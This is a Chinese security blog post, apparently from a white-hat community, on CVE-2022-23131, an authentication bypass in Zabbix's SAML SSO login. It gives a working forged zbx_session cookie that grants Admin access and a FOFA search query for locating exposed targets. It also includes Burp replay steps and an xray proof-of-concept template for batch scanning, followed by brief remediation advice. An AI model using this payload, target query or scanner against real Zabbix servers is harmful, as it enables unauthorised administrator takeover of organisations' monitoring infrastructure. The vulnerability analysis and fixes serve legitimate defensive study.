本文来自“白帽子社区知识星球”

作者:B1anda0

白帽子社区知识星球加入星球,共同进步01漏洞成因

在启用 SAML SSO 身份验证(非默认)的情况下,恶意攻击者可以修改会话数据来实现身份认证绕过。未经身份验证的恶意攻击者可能会利用此问题来提升权限并获得对 Zabbix 前端的管理员访问权限。

该漏洞存在于index_sso.php文件中,由于index_sso.php文件未调用

CEncryptedCookieSession::checkSign()

方法对cookie进行校验,且客户端的cookie可被伪造。

从index_sso.php文件中可以看出,当伪造的cookie中存在saml_data时,获取username_attribute的数据,如果该用户真实存在则会生成一个sessionid从而实现身份认证绕过。

payload:

Cookie:zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9

受影响版本:

zabbix 5.4.0 - 5.4.8

zabbix 6.0.0alpha1

02漏洞复现

fofa:app="ZABBIX-监控系统" && body="saml"

burp抓包将请求路径文件改为index_sso.php , Cookie替换为:

zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9

放包即可绕过身份认证

xray批量检测poc:

name: poc-yaml-zabbix-saml-cve-2022-23131manual: truetransport: httprules:r0:request:cache: truemethod: GETpath: /index_sso.phpheaders:Cookie:zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9follow_redirects: falseexpression: response.status == 302 &&response.headers["location"] == "zabbix.php?action=dashboard.view"expression: r0()detail:author: B1anda0(https://github.com/B1anda0)links:- https://blog.sonarsource.com/zabbix-case-study-ofunsafe-session-storag

检测效果:

03修复方案

1、禁用 SAML 身份验证

2、升级安全版本:

https://support.zabbix.com/browse/ZBX-20350

参考链接:

https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storagehttps://y4er.com/post/cve-2022-23131-zabbix-web-frontend-bypassing-the-saml-sso-authentication/

如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。

▼扫码关注白帽子社区公众号&加入知识星球▼

推荐内容